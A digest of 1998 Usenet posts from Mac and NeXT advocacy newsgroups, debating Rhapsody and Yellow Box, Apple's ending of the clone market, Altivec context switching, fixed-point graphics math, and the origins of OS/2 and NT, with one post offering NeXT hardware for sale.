> :Why would it?
> More bits of CPU state to save as a result of the large number of big
> registers.
Hmm, I don't know how they're going to work it. But if a task hasn't
dirtied the Altivec registers, then they wouldn't need to be saved when
it switches out or restored when it switches in. If it has, then, well,
that can't be helped. It probably isn't that much more state than if
it were doing things without Altivec.
From: William Edward Woody <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 13:17:14 -0700
Organization: In Phase Consulting
Message-ID: <35633A4A.674666DC@alumni.caltech.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com>
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Don Arbow wrote:
> "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu> wrote:
> : >OS-2?
> :
> :
> : I'm not sure what Microsoft's exact involvement was in OS/2 way back
> : when, but, it's pretty irrelevant now. That's IBM's bag.
>
> Why is that irrelevant? OS/2 was Microsoft's future OS choice,
> essentially MSoft's Copland, before anyone ever thought of NT. I'm sure
> there were developers who devoted time and resources to create apps for
> OS/2, but were then burned when MSoft changed course.
I'm starting to feel old.
OS/2 was the next generation of operating system that Microsoft and
IBM were working on together in a joint venture. Microsoft would provide
the GUI, and IBM would provide the operating system kernel technology.
Microsoft unilaterally nixed it's half of that partnership when a bunch
of engineers at Digital (who had been working on a version of VAX/VMS
for the Alpha) were canned. Those engineers were first going to start
their own company, but when Bill Gates heard about them, he hired them
and bought their technology--and the NT kernel was born.
There is an interesting footnote to all this, by the way. And that is
that while there are those around here who may see Microsoft as being
superior to Apple because Apple had to go out of house for expertise,
they're forgetting that Microsoft went out of house _twice_, first to
IBM, and then to the Digital engineers.
- Bill
--
William Edward Woody | In Phase Consulting
woody@alumni.caltech.edu | Macintosh & MS Windows Development
http://www.alumni.caltech.edu/~woody | http://www.pandawave.com/
From: alvarez@iac.co.jp (anthony alvarez)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.marketplace,comp.sys.next.hardware,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.forsale.computers.workstation
Subject: FS : a lot of NeXT Systems
Date: Wed, 20 May 1998 20:20:23 GMT
Organization: acunet.net
Distribution: world
Message-ID: <35633830.337654791@news.acunet.net>
Acumen Consulting Group won a settlement in court and has aquired
a large number of NeXT PCs. Acumen *must* liquidate this entire
inventory immediately.
Ideally Acumen is looking for a someone to take the entire lot below:
In Stock Model# Part # Item
================================================================
7 n1000 23 Computers
4 n2000 369 400 dpi Laser Printer
5 n4000 135 MegaPixel w/ 2 channel audio
5 n4000a 1403 MegaPixel w/ 2 channel audio
6 n4001 MegaPixel 17" color CRT
11 n4004a 1974 Sound Box
1 n4005a MegaPixel 21" color CRT
3 n4006 MegaPixel 17" color CRT
4 n8001-3658 Keyboard
4 n8003 Mouse
5 NextStation Turbo Color
6 122 Keyboard
4 192 Keyboard
6 193 Mouse
7 NextStation Color
1 NextStation
If you have any questions or need further information, please contact
me at Acunet Internet Commerce Services <http://acunet.net> at :
508 490 7610. Thank you.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 15:22:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6jusgc$mfv$1@ns3.vrx.net>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112>
<6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3>
<6jsivk$rs9$2@ns3.vrx.net> <rex-1905982113470001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2005981624570001@192.168.0.3> Eric King claimed:
> Fixed-Point math. Better yet, why don't you implement a pure
> floating-point line drawing algorithm and compare it to the speed of a
> pure fixed-point version of Bresenham's algorithm.
Funny you should mention that, as it turned out to be a topic of discussion
at the Hilton one night. One of the people at the table had indeed written
such code and said it outperformed Bresenham's on the PPC. Dunno if it's
true or not, but there you go.
In the meantime the entire thread is no obviously going into tiny
tit-for-tat mode, so I'll bow out.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 20 May 1998 10:30:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jv3up$n4k@nntp02.primenet.com>
References: <6j7me9$so3$1@newsfep4.sprintmail.com> <spam_panda-1905982118030001@lexcas36.mis.net> <6jti21$6a$1@crib.bevc.blacksburg.va.us> <6jue1g$sbr@nntp02.primenet.com> <6juuuo$1p8$1@crib.bevc.blacksburg.va.us>
In article <6juuuo$1p8$1@crib.bevc.blacksburg.va.us> you wrote:
: In <6jue1g$sbr@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
: > For the day job you should do whatever the customer wants (usually Visual
: > C++ or UNIX/C, but sometimes Yellow Box).
: The customer usually doesn't care at all what _language_ or _API_ you
: use as long as it looks right and gets the job done. And Yellow Box is
: usually the most conducive solution to completing the app quickly.
: Of course, what _platform_ it runs on does matter.
I had been doing contract development for long enough that I just thought
customer == development shop, until you mentioned it. You are correct
that it isn't always true.
A few people are lucky enough to sell to an end user. The way most of us
live, the guy at the end of the hall is the customer for our software. In
the best cases that guy is open to language and API suggestions, but often
the die is cast.
Which is why I differentiate Day Job and Night Hacking.
John
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Wed, 20 May 1998 16:52:02 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005981652020001@192.168.0.3>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3> <6jsivk$rs9$2@ns3.vrx.net> <6jtqgp$ghc1@odie.mcleod.net>
In article <6jtqgp$ghc1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
:Maury Markowitz wrote in message <6jsivk$rs9$2@ns3.vrx.net>...
:> Sure, if you're using int coords. I guess you missed that part, the new
:>engine is FP based like PS.
:>
:>Maury
:>
:
:Ironically, Apple's Display Postscript as shipped with Rhapsody and
:Openstep, and NeXTstep uses Adobe's "compressed integer" fixed point math
:internally.
*Thank you*, perhaps this issue will finally come to rest. I had
assumed that Postscript used fixed-point internally, since, as you said,
most printers don't have FPUs, but I wasn't sure of how things were
implemented internally in DPS.
:The external graphics model is certainly floating point, but
:internal operations are converted to fixed point at some relatively high
:level.
It might be nice to keep floats around in matrices, but I don't think
floating-point matrix ops are an absolute necessity. It would be
interesting to benchmark a Rhapsody system with an identical Mac OS X
system. One to see just what the messaging overhead was like in practice,
and two to see what kinds of optimizations they can put in now that
they're not using Adobe's code.
: Font design, binary Postscript streams, and even users paths are
:effected by this fact.
It also means that GX shapes which use a 16/16 fixed point format could
be exactly translated to Postscript, despite allusions to the contrary.
The real problem areas in acchieving WYSIWYG deal with accurate color
reproduction these days. Accurate geometric reproduction is usually a very
straightforward process.
:It is a great tribute to NeXT and Adobe that this
:fact rarely impacts Display Postscript programmers.
I don't think NeXT and Adobe had to do much. I certainly never
encountered any problems with GX. I just worked in floating-point and used
the macros Apple provided. If you need to go beyond +-32767 then you're
probably better off rolling your own graphics library and doing the
appropriate clipping and scaling yourself. However, there is certainly a
general need for subpoint precision.
:PS - Didn't you ever wonder why DPS limits window coordinate systems in
:screen units to something like +-32000 points ?
I'm sure Maury never bothered to look. He probably just assumed that
the implementation echoed the interface.
-Eric
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 20 May 1998 13:38:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jv4ev$23m$1@crib.bevc.blacksburg.va.us>
References: <see-below-1905982208000001@209.24.240.108> <6jv1b3$hu3@flonk.uk.sun.com>
In article <6jv1b3$hu3@flonk.uk.sun.com>, Jeff.Richmond@uk.sun.comREMOVETHIS wrote:
> I suppose the question for me now is that if I run NT, will the YB
> development tools be there?
Of course.
> Is that enough to keep me happy or do I want the whole Rhapsody/BSD
> experience?
I know which I'm happier with. :)
> I can't see myself buying a PPC just to do YB development ... yet.
> But I might in the future if Apple gives me a good transition strategy.
What would a good transition strategy be? Rhapsody/Intel long enough
to last you until you buy your next computer?
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 17:52:05 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125>
In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
<english@primenet.com> wrote:
> As for the first point, this is beyond bogus. Motorola had machines ready
> to ship based on CHRP. They were predicint a $1 billion/year revenue from
> clone sales, mostly based on CHRP-projections, since that is what they
> wanted to base all of their new models on. All other clone-makers were
> wanting to ship CHRP as well since it would free them from paying hardware
> licensing fees to Apple.
Well, one of the great promises of CHRP was that it was supposed to run
a bunch of OSes. MacOS was to supposed to gain marketshare through the
backdoor here. If CHRP really came to fruition how did little old Apple
kill it? You would think that running NT, Solaris, and AIX would be
plenty. Why isn't Motorola still selling these machines? Are you telling
us that the MacOS was the most important OS for CHRP compared to NT?
Apple was the LAST partner to drop CHRP. After everyone else dropped
it why would they care.
BTW, isn't the next generation Gossamer without a ROM and only open
firmware announced at WWDC essentially what was desired for CHRP if none
of the other OSes are important? No Apple ROM needed, reverse engineer to
your hearts content.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: Wed, 20 May 1998 17:00:34 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981700340001@132.236.171.104>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com> <6jquq3$k2g1@odie.mcleod.net> <slrn6m1f63.el.jason@jhste1.dyn.ml.org> <joe.ragosta-1905980815500001@wil130.dol.net>
In article <joe.ragosta-1905980815500001@wil130.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Where?
>
> The number of women who post to the advocacy groups is very, very small.
> Maybe they're smarter than we are?
At the risk of seriously insulting women everywhere, how can we be certain
that people using fake names like "Franky" and "stevejobs@apple.com" are
male?
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: Koo <amind@pacific.net.sg>
Newsgroups: comp.sys.next.advocacy
Subject: RAID 5 for Rhapsody?
Date: Thu, 21 May 1998 04:52:35 +0800
Organization: Subscriber of Pacific Internet, Singapore
Message-ID: <35634292.15907830@pacific.net.sg>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
I'd like to know is there a RAID 5 system or anyone is working on a RAID 5 system for Rhapsody PPC?
Regards,
Koo
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 18:06:02 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com>
In article <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com>,
don_arb@wolfenet.com (Don Arbow) wrote:
> In article <Et9IqF.LGD@midway.uchicago.edu>, "Jonathan Eric Miller"
> <_jemiller@midway.uchicago.edu> wrote:
>
> : Plus, they're using Objective C (on Rhapsody). Why not use the industry
> : standard C/C++? I guess this is Apple's way of Thinking Different.
> :
>
> Because when the Next was released, the industry standard was C/Pascal,
> and didn't have object capabilities. C++ was just a glimmer in
> Stroustrop's (sp?) eye. Ask a C++ programmer how to define an object
> midway in a heirarchy when all you have is a library and a header file,
> impossible you say? Where in C++ is the support for distributed objects?
> Only with Obj-C, which is light years ahead of C++.
Furthermore, Java is supported in the Yellow Box. The goal is to be
able to write in Java or Obj-C.
> : Also, this DR/CR business is pretty stupid. Why not just call the DRs
betas,
> : that's what they are. Why try to cover it up. Who ever heard of drawing a
> : distinction between a developer and consumer release. It's bogus. Call it
> : what it is.
> :
Firstly your complaints sounded uninformed. But, you've turned to the
point of the inane and irrational. Exactly why should Apple adopt anyone
else's scheme for naming release versions and how does this affect a
developer's life (not a piraters)? Perhaps they should release 30 betas
of a product like Qualcomm. Or, perhaps they could sell beta releases to
the public.
> : We'll see how well Apple is able to meld Mac OS and Rhapsody
together. Right
> : now, they're basicall two different products still.
> : Another thing is the fact that they killed the clone market.
> :
>
> No, the clones killed the clone market by not honoring their marketing
> agreements.
>
I suppose we'll will find out in the next few weeks if Apple is truly
intent on finishing off the clone market. Apparently UMAX is still in
talks with Apple. Why would there be any talks anyway? Anyway, it is
likely the end.
While cloners did not hold up their end of the bargain it is also true
that Apple needed to cut them off to survive. I think the complaint that,
"I won't buy a Macintosh because Apple killed the clone market", could
just have easily been a different complaint in a year or so, "I won't buy
a Macintosh because there is no Apple!!".
Furthermore, the cloners were doing terrible things to the market.
They preannounced 300MHz G3s last summer to be available by the fall.
Now, if I'm not mistaken PowerLogix uses the exact same card those
machines were going to and they couldn't ship a G3 300 until early this
year. The shipping claims by these guys were hogwash. PowerLogix would
have even lower numbers of units to get out and they couldn't get a hold
of chips that fast, what makes anyone think that Moto or PC could have.
Those G3 demos were bullshit and wouldn't have beat G3 Macs to production
(although they would have outperformed them in some respects). They also
wouldn't have beat them on price because Apple wasn't going to give them
Gossamer logic boards and the original CHRP design was more expensive to
produce (and admittedly had more features).
Here we sit without cloning and me ranting...gulp...bye
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: 20 May 1998 14:34:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jv7n6$2a5$1@crib.bevc.blacksburg.va.us>
References: <355c8968.0@206.25.228.5> <35617d4b.4769378@news.sydney.apana.org.au> <6jupv2$jie$1@news.idiom.com> <6jv6ne$4j8$1@nnrp1.dejanews.com>
In article <6jv6ne$4j8$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> Wouldn't it be nice if there were a user-level preference in Yellow Box for
> windows to either (i) use the Windows look-and-feel, or (ii) use a
> Rhapsody-like look-and-feel (eg Rhapsody open/save panels, font panels, etc)
> wherever possible (we're probably still stuck with menus-within-the-window).
User defaults might take care of that. Haven't tried it.
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Wed, 20 May 1998 18:33:18 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Et9q7I.JKz@haddock.cd.chalmers.se>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsm6t$bjf$1@geraldo.cc.utexas.edu>
<6jsrm1$v57$1@crib.bevc.blacksburg.va.us> <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6juuam$1mv$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: nurban@crib.bevc.blacksburg.va.us
In <6juuam$1mv$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>
> > On 19 May 1998 16:56:33 -0400, Nathan Urban
>
> > :Unlike MMX, Altivec executes instructions in an _independent_
> > :instruction pipeline with its own register set and such (though it
shares
> > :main memory with the rest of the CPU). It's also SIMD.
>
> > Sounds good, inside one task.
>
> > On the other hand, does this really bust up the context switch
performance?
>
> Why would it?
More registers -> more context to store at each context switch. I don't think
register copying is measureable in the cost of task switching, though. The
sensitivity to this would in part depend on the addressing of the cache; with
a physically addressed cache you would have a chance of keeping the registers
in the cache all the time. With a virtually addressed cache the whole cache
is invalidated at a context switch, so registers would have to be fetched
back from memory.
There has been some discussion on task switching and the size of register
files on comp.arch, mostly realting to the rather large register file of
Merced.
What you can do is keep track of what tasks actually touch the Altivec
registers (or any other registers for that matter) and save only what needs
saving necessary. The technical complexity of that may soon overshadow the
advantages, though...
Suggestion for research: Hack a kernel, Linux or FreeBSD may be a good
choice, and make it write the register file more than once at task switches.
Check how the context switch time increases or decreases with the number of
registers saved.
Regards,
John Hornkvist
Name: nhoj
Address: cd.chalmers.se
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 20 May 1998 21:38:26 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jvigi$5h3@newsb.netnews.att.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982055450001@209.24.240.108> <35624625.57CFB9B7@milestonerdl.com> <see-below-1905982223150001@209.24.240.108>
Originator: gupta@tlctest
Matthew Vaughan <see-below@not-my-address.com> wrote:
>
>True, but this does nothing if you're trying to get those end users to
>switch from Wintel to Macintosh. It slightly increases the chances they'll
>have all the apps they need on the Mac side, but that's it.
The idea of the Yellow Box is to get developers to switch to producing
Yellow Box applications, for MacOS on PPC and Wintel (and for Rhapsody 1.0
on Intel).
The Yellow Box is not addressed to users. Users couldn't care less
about the APIs the application is developed with.
The switch from Wintel to Macintosh of end users is later down the
road, and can happen if the Yellow Box cross-development strategy
is successful; and/or if the Yellow Box is so successful that
Rhapsody for Intel has a critical mass of applications; and/or if
PowerPC hardware truly distinguishes itself in performance --
e.g., much better mobile computing experience, or multimedia
performance (Altivec) or software cellular phone (Altivec),
or an overall performance advantage, or innovative industrial
design, etc. etc.; and/or if the core Rhapsody OS is truly
distinguished, etc. etc.
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 14:41:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1889C05-1320C@206.165.43.97>
References: <joe.ragosta-2005981532310001@wil105.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Joe Ragosta <joe.ragosta@dol.net> said:
>
>After all, Apple never stopped Motorola from selling CHRP boxes. Where are
>they?
"We will never give them MacOS 8 for CHRP" -CFO of Apple in teleconference
about dropping clone-makers.
Sounds like Apple stopped Motorola from selling CHRP.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 21:50:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jvj7n$oda$1@nnrp1.dejanews.com>
References: <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com>
OOOPS, I meant to say...
wouldn't it be nice if managers
were punished instead of rewarded for putting perception ahead
of actual quality.
sorry for any confusion.
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 20 May 1998 19:14:37 GMT
Organization: Michigan State University
Message-ID: <6jva2t$6p8$1@msunews.cl.msu.edu>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jna7v$poi$1@crib.bevc.blacksburg.va.us>
<joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com>
<joe.ragosta-1805981651520001@wil113.dol.net> <6jq8er$mhk$6@news.xmission.com>
<6jq95g$8qf$1@news.seicom.net> <6jse4l$cqh$2@msunews.cl.msu.edu>
<3561BDE5.191D7263@milestonerdl.com> <6jsk1p$r9l$1@msunews.cl.msu.edu>
<3561E871.8C3D649F@milestonerdl.com> <rmcassid-2005980010580001@dialin9111.slip.uci.edu>
<3562e6ea.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <3562e6ea.0@news.depaul.edu> Jonathan W Hendry wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
>
> > I can also attest to a *lot* of local, small things that added
together
> > mean a lot. Apple *is* listening. It helps a lot to not be
unreasonable
> > and stupid about what you go after. The last 9 days of 'Apple is
never
> > going to support 98 and NT 5 because Steve didn't tatoo a press
release on
> > his ass' is an example of unreasonable and stupid.
>
> As is 'Apple should give up <some piece of valuable intellectual
property>'
> and...
>
> ... make it OpenSource.
> ... turn control over to company X for free.
> ... sell it to tiny company X for a six pack and some pretzels.
>
> All three seem unreasonable. The best alternative would be something
> like the way NeXT turned IndexingKit and 3Dkit over to the MiscKit
> people. They turned control over to a non-commercial entity, while
> retaining NDA coverage not losing control.
>
I've advocated the above (Release Source) for some time. Problem with
it is that there are at least two entities (Adobe is one, don't know
the
other) that have licensed stuff in the source. Once this is removed
there is the possibility that the lower Mach/BSD levels could be
released
along with source to the YB stuff. Not necessairly EOF or anything
else (WO, PDO, Enterprise or any of the Apps IB, PB, etc. that Apple
builds/sells)
God YB ports to Linux/FreeBSD/NetBSD etc would happen very quickly
of that I'm sure. As to providing the source to a startup. That might
be workable, provided that somehow that startup would have access
to the evolving YB source @ Apple. I'm not sure it would work all
that well though. Since if Apple found 'evidence' for the startups
work eating into PPC sales they'd be considered a threat to
be squashed.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 15:01:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188A0A7-24888@206.165.43.97>
References: <6jvavf$2cn$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>In article <6junbc$is5$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>> Either they have to have two Finders for the next nnn
>> years or they can make a Carbon one and get everyone. From a resurces
>> standpoint it makes sense - again, IF I heard right.
>
>I wonder if the Finder will be replaceable. (No reason why they couldn't
>make it that way, but they might not bother.) If so -- third party
>opportunity for a superior Yellow Finder.
The Finder isn't a trivial application to write. There's lots of
non-docuemented stuff that is used in the current generation Finder that
wouldn't be easy to duplicate by a 3rd party without help from Apple.
If I had my druthers, I'd like to see an OpenDoc-based Finder (or YB
equivalent).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 15:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188A373-2F0FF@206.165.43.97>
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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John Christie <*johnnyc*@or.psychology.dal.ca> said:
>No Apple ROM needed, reverse engineer to
>your hearts content.
Reverse engineering is generally illegal. And, Apple has always "ruled" the
PPC market. OS/2, AIX, BeOS, etc., no-one can influence this market the way
Apple does because Apple sells 10-100x as many boxes as IBM does RS/6000
boxes and even when NT and OS/2 were considered viable, they still wouldn't
have been as important.
In fact, I have heard that the reason why IBM never actively pursued the
CHRP market for OS/2 past a certain date was because it was obvious that
Apple wouldn't release MacOS for CHRP, thereby making OS/2 for PPC an
orphan system since they needed the MacOS compatibility to sell the
systems.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: 20 May 1998 15:53:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5>
In article <35633314.0@206.25.228.5>, jkheit@xtdl.com wrote:
> Anyone know for sure? I read the Obj-C++ thing on one of Scott's
> WWDC note pages at www.stepwise.com
Yes, does anyone know in detail what changes they are making in the
Obj-C/Obj-C++ language? I've been wondering about that. And are they all
things to improve C++ integration, or are there new Obj-C features too?
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Wed, 20 May 1998 16:24:55 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005981624570001@192.168.0.3>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3> <6jsivk$rs9$2@ns3.vrx.net> <rex-1905982113470001@192.168.0.3> <6ju9ot$7vp$4@ns3.vrx.net>
In article <6ju9ot$7vp$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <rex-1905982113470001@192.168.0.3> Eric King claimed:
:> Maury, why don't you go pick up a copy of Foley & van Dam's Computer
:> Graphics: Principles and Practice and give it a read. It will probably end
:> all of this blathering.
:
: I have it, and the entire series of Graphics Gems and Computer Graphics
:Formats too. It says nothing about this and the book was written in an era
:when the above was true.
Perhaps you should look at what needs to be done during rasterization,
i.e. you'll have to delve a bit deeper than looking into the index for
Fixed-Point math. Better yet, why don't you implement a pure
floating-point line drawing algorithm and compare it to the speed of a
pure fixed-point version of Bresenham's algorithm.
-Eric
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
